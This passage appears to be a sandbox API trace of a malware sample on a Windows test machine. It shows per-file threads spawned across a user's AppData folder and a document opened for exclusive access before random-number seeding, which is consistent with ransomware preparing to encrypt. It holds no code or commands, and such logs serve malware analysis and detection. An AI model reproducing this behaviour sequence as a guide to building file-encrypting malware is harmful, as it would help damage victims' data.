(HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79de70 [0097.169] wcscpy (in: _Dest=0x1b79de70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.169] wcscat (in: _Dest=0x1b79de70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.169] wcscat (in: _Dest=0x1b79de70, _Source="ov1S93zQN.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ov1S93zQN.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ov1S93zQN.flv" [0097.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ac [0097.170] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x116597f0, ftCreationTime.dwHighDateTime=0x1d5de23, ftLastAccessTime.dwLowDateTime=0x99ff5410, ftLastAccessTime.dwHighDateTime=0x1d5dff0, ftLastWriteTime.dwLowDateTime=0x99ff5410, ftLastWriteTime.dwHighDateTime=0x1d5dff0, nFileSizeHigh=0x0, nFileSizeLow=0xbfea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIBDAYtK.gif", cAlternateFileName="")) returned 1 [0097.170] wcscmp (_String1="PIBDAYtK.gif", _String2=".") returned 1 [0097.170] wcscmp (_String1="PIBDAYtK.gif", _String2="..") returned 1 [0097.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b8682c0 [0097.171] wcscpy (in: _Dest=0x1b8682c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.171] wcscat (in: _Dest=0x1b8682c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.171] wcscat (in: _Dest=0x1b8682c0, _Source="PIBDAYtK.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIBDAYtK.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\PIBDAYtK.gif" [0097.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8682c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b0 [0097.171] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3b103c60, ftCreationTime.dwHighDateTime=0x1d5e10a, ftLastAccessTime.dwLowDateTime=0x1db71470, ftLastAccessTime.dwHighDateTime=0x1d5dc11, ftLastWriteTime.dwLowDateTime=0x1db71470, ftLastWriteTime.dwHighDateTime=0x1d5dc11, nFileSizeHigh=0x0, nFileSizeLow=0x13d92, dwReserved0=0x0, dwReserved1=0x0, cFileName="pITagK8MClkBd-.docx", cAlternateFileName="PITAGK~1.DOC")) returned 1 [0097.172] wcscmp (_String1="pITagK8MClkBd-.docx", _String2=".") returned 1 [0097.172] wcscmp (_String1="pITagK8MClkBd-.docx", _String2="..") returned 1 [0097.172] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x202a4ec0 [0097.172] wcscpy (in: _Dest=0x202a4ec0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.172] wcscat (in: _Dest=0x202a4ec0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.172] wcscat (in: _Dest=0x202a4ec0, _Source="pITagK8MClkBd-.docx" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\pITagK8MClkBd-.docx" [0097.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4 [0097.173] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe21e1ca0, ftCreationTime.dwHighDateTime=0x1d5de28, ftLastAccessTime.dwLowDateTime=0xae71a6f0, ftLastAccessTime.dwHighDateTime=0x1d5df96, ftLastWriteTime.dwLowDateTime=0xae71a6f0, ftLastWriteTime.dwHighDateTime=0x1d5df96, nFileSizeHigh=0x0, nFileSizeLow=0xc68f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q3U2oKO W3.flv", cAlternateFileName="Q3U2OK~1.FLV")) returned 1 [0097.173] wcscmp (_String1="Q3U2oKO W3.flv", _String2=".") returned 1 [0097.173] wcscmp (_String1="Q3U2oKO W3.flv", _String2="..") returned 1 [0097.173] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x202a4f50 [0097.173] wcscpy (in: _Dest=0x202a4f50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.173] wcscat (in: _Dest=0x202a4f50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.173] wcscat (in: _Dest=0x202a4f50, _Source="Q3U2oKO W3.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Q3U2oKO W3.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Q3U2oKO W3.flv" [0097.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b8 [0097.174] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c635560, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x668e6c90, ftLastAccessTime.dwHighDateTime=0x1d5dbd3, ftLastWriteTime.dwLowDateTime=0x668e6c90, ftLastWriteTime.dwHighDateTime=0x1d5dbd3, nFileSizeHigh=0x0, nFileSizeLow=0x65f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="QB7b-LppWr8EL.csv", cAlternateFileName="QB7B-L~1.CSV")) returned 1 [0097.174] wcscmp (_String1="QB7b-LppWr8EL.csv", _String2=".") returned 1 [0097.174] wcscmp (_String1="QB7b-LppWr8EL.csv", _String2="..") returned 1 [0097.174] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4fe0 [0097.174] wcscpy (in: _Dest=0x202a4fe0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.174] wcscat (in: _Dest=0x202a4fe0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.174] wcscat (in: _Dest=0x202a4fe0, _Source="QB7b-LppWr8EL.csv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QB7b-LppWr8EL.csv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\QB7b-LppWr8EL.csv" [0097.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11bc [0097.175] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87e19640, ftCreationTime.dwHighDateTime=0x1d5df9f, ftLastAccessTime.dwLowDateTime=0x893c6430, ftLastAccessTime.dwHighDateTime=0x1d5e656, ftLastWriteTime.dwLowDateTime=0x893c6430, ftLastWriteTime.dwHighDateTime=0x1d5e656, nFileSizeHigh=0x0, nFileSizeLow=0xdb8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rJNd-6JE.m4a", cAlternateFileName="")) returned 1 [0097.175] wcscmp (_String1="rJNd-6JE.m4a", _String2=".") returned 1 [0097.175] wcscmp (_String1="rJNd-6JE.m4a", _String2="..") returned 1 [0097.176] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b868340 [0097.176] wcscpy (in: _Dest=0x1b868340, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.176] wcscat (in: _Dest=0x1b868340, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.176] wcscat (in: _Dest=0x1b868340, _Source="rJNd-6JE.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJNd-6JE.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\rJNd-6JE.m4a" [0097.176] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c0 [0097.177] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa2e0a1b0, ftCreationTime.dwHighDateTime=0x1d5dbbd, ftLastAccessTime.dwLowDateTime=0x282947a0, ftLastAccessTime.dwHighDateTime=0x1d5dc86, ftLastWriteTime.dwLowDateTime=0x282947a0, ftLastWriteTime.dwHighDateTime=0x1d5dc86, nFileSizeHigh=0x0, nFileSizeLow=0xc172, dwReserved0=0x0, dwReserved1=0x0, cFileName="UG64tpJ-12yB4YY3qric.m4a", cAlternateFileName="UG64TP~1.M4A")) returned 1 [0097.177] wcscmp (_String1="UG64tpJ-12yB4YY3qric.m4a", _String2=".") returned 1 [0097.177] wcscmp (_String1="UG64tpJ-12yB4YY3qric.m4a", _String2="..") returned 1 [0097.177] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a650 [0097.177] wcscpy (in: _Dest=0x2027a650, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.177] wcscat (in: _Dest=0x2027a650, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.177] wcscat (in: _Dest=0x2027a650, _Source="UG64tpJ-12yB4YY3qric.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UG64tpJ-12yB4YY3qric.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\UG64tpJ-12yB4YY3qric.m4a" [0097.177] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c4 [0097.178] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0e15f00, ftCreationTime.dwHighDateTime=0x1d5e0dc, ftLastAccessTime.dwLowDateTime=0x99a70520, ftLastAccessTime.dwHighDateTime=0x1d5dee3, ftLastWriteTime.dwLowDateTime=0x99a70520, ftLastWriteTime.dwHighDateTime=0x1d5dee3, nFileSizeHigh=0x0, nFileSizeLow=0x124a, dwReserved0=0x0, dwReserved1=0x0, cFileName="V-g2QB36Mx6.m4a", cAlternateFileName="V-G2QB~1.M4A")) returned 1 [0097.178] wcscmp (_String1="V-g2QB36Mx6.m4a", _String2=".") returned 1 [0097.178] wcscmp (_String1="V-g2QB36Mx6.m4a", _String2="..") returned 1 [0097.178] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a5070 [0097.178] wcscpy (in: _Dest=0x202a5070, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.178] wcscat (in: _Dest=0x202a5070, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.178] wcscat (in: _Dest=0x202a5070, _Source="V-g2QB36Mx6.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V-g2QB36Mx6.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\V-g2QB36Mx6.m4a" [0097.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c8 [0097.179] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2143b260, ftCreationTime.dwHighDateTime=0x1d5e20b, ftLastAccessTime.dwLowDateTime=0x8fe61c20, ftLastAccessTime.dwHighDateTime=0x1d5e185, ftLastWriteTime.dwLowDateTime=0x8fe61c20, ftLastWriteTime.dwHighDateTime=0x1d5e185, nFileSizeHigh=0x0, nFileSizeLow=0xad8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="XlBcdUC.ods", cAlternateFileName="")) returned 1 [0097.179] wcscmp (_String1="XlBcdUC.ods", _String2=".") returned 1 [0097.180] wcscmp (_String1="XlBcdUC.ods", _String2="..") returned 1 [0097.180] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8683c0 [0097.180] wcscpy (in: _Dest=0x1b8683c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.180] wcscat (in: _Dest=0x1b8683c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.180] wcscat (in: _Dest=0x1b8683c0, _Source="XlBcdUC.ods" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XlBcdUC.ods") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XlBcdUC.ods" [0097.180] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8683c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11cc [0097.181] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb48c9d60, ftCreationTime.dwHighDateTime=0x1d5da0a, ftLastAccessTime.dwLowDateTime=0x6ecf3370, ftLastAccessTime.dwHighDateTime=0x1d5e3e0, ftLastWriteTime.dwLowDateTime=0x6ecf3370, ftLastWriteTime.dwHighDateTime=0x1d5e3e0, nFileSizeHigh=0x0, nFileSizeLow=0xf990, dwReserved0=0x0, dwReserved1=0x0, cFileName="xqDKhZdGB.jpg", cAlternateFileName="XQDKHZ~1.JPG")) returned 1 [0097.181] wcscmp (_String1="xqDKhZdGB.jpg", _String2=".") returned 1 [0097.181] wcscmp (_String1="xqDKhZdGB.jpg", _String2="..") returned 1 [0097.181] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b868440 [0097.181] wcscpy (in: _Dest=0x1b868440, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.181] wcscat (in: _Dest=0x1b868440, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.181] wcscat (in: _Dest=0x1b868440, _Source="xqDKhZdGB.jpg" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\xqDKhZdGB.jpg" [0097.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b868440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d0 [0097.182] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xef66b530, ftCreationTime.dwHighDateTime=0x1d5da67, ftLastAccessTime.dwLowDateTime=0xb23c8300, ftLastAccessTime.dwHighDateTime=0x1d5de14, ftLastWriteTime.dwLowDateTime=0xb23c8300, ftLastWriteTime.dwHighDateTime=0x1d5de14, nFileSizeHigh=0x0, nFileSizeLow=0x1574f, dwReserved0=0x0, dwReserved1=0x0, cFileName="YhL94_N.bmp", cAlternateFileName="")) returned 1 [0097.182] wcscmp (_String1="YhL94_N.bmp", _String2=".") returned 1 [0097.182] wcscmp (_String1="YhL94_N.bmp", _String2="..") returned 1 [0097.182] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8684c0 [0097.182] wcscpy (in: _Dest=0x1b8684c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.183] wcscat (in: _Dest=0x1b8684c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.183] wcscat (in: _Dest=0x1b8684c0, _Source="YhL94_N.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\YhL94_N.bmp" [0097.183] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8684c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0097.184] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8e7e6ed0, ftCreationTime.dwHighDateTime=0x1d5df61, ftLastAccessTime.dwLowDateTime=0x4ab71410, ftLastAccessTime.dwHighDateTime=0x1d5e1da, ftLastWriteTime.dwLowDateTime=0x4ab71410, ftLastWriteTime.dwHighDateTime=0x1d5e1da, nFileSizeHigh=0x0, nFileSizeLow=0x9954, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZtjT5ztDM473.wav", cAlternateFileName="ZTJT5Z~1.WAV")) returned 1 [0097.184] wcscmp (_String1="ZtjT5ztDM473.wav", _String2=".") returned 1 [0097.184] wcscmp (_String1="ZtjT5ztDM473.wav", _String2="..") returned 1 [0097.184] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a5100 [0097.184] wcscpy (in: _Dest=0x202a5100, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.184] wcscat (in: _Dest=0x202a5100, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.184] wcscat (in: _Dest=0x202a5100, _Source="ZtjT5ztDM473.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZtjT5ztDM473.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZtjT5ztDM473.wav" [0097.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a5100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0097.185] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93b32b70, ftCreationTime.dwHighDateTime=0x1d5df9d, ftLastAccessTime.dwLowDateTime=0x105f6a70, ftLastAccessTime.dwHighDateTime=0x1d5e756, ftLastWriteTime.dwLowDateTime=0x105f6a70, ftLastWriteTime.dwHighDateTime=0x1d5e756, nFileSizeHigh=0x0, nFileSizeLow=0xbbad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZWQxY1yR2jVSnKp8sjE1.mp4", cAlternateFileName="ZWQXY1~1.MP4")) returned 1 [0097.185] wcscmp (_String1="ZWQxY1yR2jVSnKp8sjE1.mp4", _String2=".") returned 1 [0097.186] wcscmp (_String1="ZWQxY1yR2jVSnKp8sjE1.mp4", _String2="..") returned 1 [0097.186] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x2027a6f0 [0097.186] wcscpy (in: _Dest=0x2027a6f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.186] wcscat (in: _Dest=0x2027a6f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.186] wcscat (in: _Dest=0x2027a6f0, _Source="ZWQxY1yR2jVSnKp8sjE1.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZWQxY1yR2jVSnKp8sjE1.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\ZWQxY1yR2jVSnKp8sjE1.mp4" [0097.186] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x2027a6f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0097.187] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93b32b70, ftCreationTime.dwHighDateTime=0x1d5df9d, ftLastAccessTime.dwLowDateTime=0x105f6a70, ftLastAccessTime.dwHighDateTime=0x1d5e756, ftLastWriteTime.dwLowDateTime=0x105f6a70, ftLastWriteTime.dwHighDateTime=0x1d5e756, nFileSizeHigh=0x0, nFileSizeLow=0xbbad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZWQxY1yR2jVSnKp8sjE1.mp4", cAlternateFileName="ZWQXY1~1.MP4")) returned 0 [0097.187] FindClose (in: hFindFile=0x1cd9d3d0 | out: hFindFile=0x1cd9d3d0) returned 1 [0097.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99450) returned 1 [0097.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b90) returned 1 [0097.187] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1b80) returned 1 Thread: id = 484 os_tid = 0xc64 [0091.918] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-uxuis5xzfh_.docx")) returned 0x20 [0091.918] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx", dwFileAttributes=0x20) returned 1 [0091.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\-UxUis5xzfh_.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\-uxuis5xzfh_.docx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0091.918] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x2122fb00 | out: lpFileSize=0x2122fb00*=9303) returned 1 [0091.918] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x2453, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.918] ReadFile (in: hFile=0xdac, lpBuffer=0x2122fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2122fac8, lpOverlapped=0x0 | out: lpBuffer=0x2122fa80*, lpNumberOfBytesRead=0x2122fac8*=0x4, lpOverlapped=0x0) returned 1 [0091.919] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85af60 [0091.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859490 [0091.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8594c0 [0091.920] NtQuerySystemTime (in: CurrentTime=0x2122f9c0 | out: CurrentTime=0x2122f9c0*=132462176977570000) returned 0x0 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0xf53db5a [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x69bc6a6f [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) returned 0x1e0d3085 [0091.920] RtlRandomEx (in: Seed=0x2122f9b0 | out: Seed=0x2122f9b0) 